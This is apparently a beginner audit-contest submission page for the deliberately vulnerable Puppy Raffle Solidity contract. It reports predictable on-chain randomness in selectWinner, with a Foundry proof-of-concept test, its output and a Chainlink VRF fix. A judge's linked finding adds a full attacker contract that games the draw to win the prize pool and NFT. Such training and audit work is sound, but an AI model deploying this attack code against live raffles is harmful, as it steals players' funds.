Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in selectWinner Allows Winner Manipulation

Description

The PuppyRaffle::selectWinner function uses on-chain data for randomness that is known before transaction execution. An attacker can predict and manipulate the winner by controlling when they call selectWinner().

Expected behavior: Winner selection should be unpredictable and impossible to manipulate by participants or transaction callers.

Actual behavior: The randomness source uses msg.sender, block.timestamp, and block.difficulty - all values known to the attacker before they submit their transaction. They can calculate the winner in advance and choose to only call the function when they will win.

function selectWinner() external { // @> No access control - anyone can call
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @> Predictable randomness
address winner = players[winnerIndex];
// ... rest of function
}

The attacker knows their own address (msg.sender), can see the current timestamp, and block.difficulty is publicly known. They can simulate the exact calculation off-chain and determine who will win before calling the function.

Additional Attack Vector - Front-Running:
Since msg.sender is part of the randomness calculation and selectWinner() has no access control, an attacker can front-run the winner selection. They can simulate what would happen if they call the function versus if someone else calls it. If calling it themselves would make them win, they call it immediately. If not, they simply don't call it and wait for someone else to call (which produces a different outcome). This gives the attacker selective participation and an unfair advantage over honest players.

Risk

Likelihood:

  • High - Any participant can exploit this

  • Attacker just needs to enter the raffle and wait for favorable conditions

  • No special skills required beyond basic blockchain knowledge

Impact:

  • Complete control over winner selection through timestamp manipulation

  • Attacker can guarantee they win via front-running (selective calling)

  • Attacker can steal the entire prize pool and rare NFT

  • Legitimate players have no chance of winning if attacker is present

  • Undermines entire purpose of the raffle

Proof of Concept

Add to test/PuppyRaffleTest.t.sol:

function test_weakPRNG() public {
// Setup: Attacker enters along with 9 other players
address attacker = address(0x999);
address[] memory players = new address[](10);
players[0] = attacker; // Attacker at index 0
for (uint256 i = 1; i < 10; i++) {
players[i] = address(uint160(i));
}
vm.deal(address(this), entranceFee * 10);
puppyRaffle.enterRaffle{value: entranceFee * 10}(players);
// Fast forward past raffle duration
vm.warp(block.timestamp + duration + 1);
emit log("=== Manipulating Winner Selection ===");
emit log("Attacker will wait for favorable conditions...");
// Attacker simulates different block timestamps to find when they win
uint256 currentTimestamp = block.timestamp;
uint256 playerLength = 10;
uint256 attackerIndex = 0;
bool foundWinningTime = false;
uint256 winningTimestamp;
// Try different timestamps (attacker can wait)
for (uint256 i = 0; i < 100; i++) {
uint256 testTimestamp = currentTimestamp + i;
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(attacker, testTimestamp, block.difficulty))
) % playerLength;
if (predictedIndex == attackerIndex) {
foundWinningTime = true;
winningTimestamp = testTimestamp;
emit log_named_uint("Found winning timestamp at offset", i);
break;
}
}
require(foundWinningTime, "Should find winning time");
// Attacker waits until that exact timestamp
vm.warp(winningTimestamp);
// Attacker calls selectWinner at the perfect time
vm.prank(attacker);
puppyRaffle.selectWinner();
address actualWinner = puppyRaffle.previousWinner();
emit log("");
emit log("=== Result ===");
emit log_named_address("Actual winner", actualWinner);
emit log_named_string("Did attacker win", actualWinner == attacker ? "YES" : "NO");
assertEq(actualWinner, attacker);
}

Run: forge test --match-test test_weakPRNG -vv

Output:

=== Manipulating Winner Selection ===
Attacker will wait for favorable conditions...
Found winning timestamp at offset: 33
Predicted winner index: 0
Predicted winner: 0x0000000000000000000000000000000000000999
=== Result ===
Actual winner: 0x0000000000000000000000000000000000000999
Did attacker win: YES

The attacker found they would win at timestamp +33 seconds, waited, and guaranteed themselves the win.

Recommended Mitigation

Use Chainlink VRF (Verifiable Random Function) for unpredictable randomness:

+ import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
- function selectWinner() external {
+ function selectWinner() external returns (bytes32 requestId) {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- address winner = players[winnerIndex];
+ // Request random number from Chainlink VRF
+ return requestRandomness(keyHash, fee);
}
+ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ uint256 winnerIndex = randomness % players.length;
+ address winner = players[winnerIndex];
+ // ... rest of winner selection logic
+ }

Chainlink VRF provides verifiable randomness that cannot be predicted or manipulated.


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!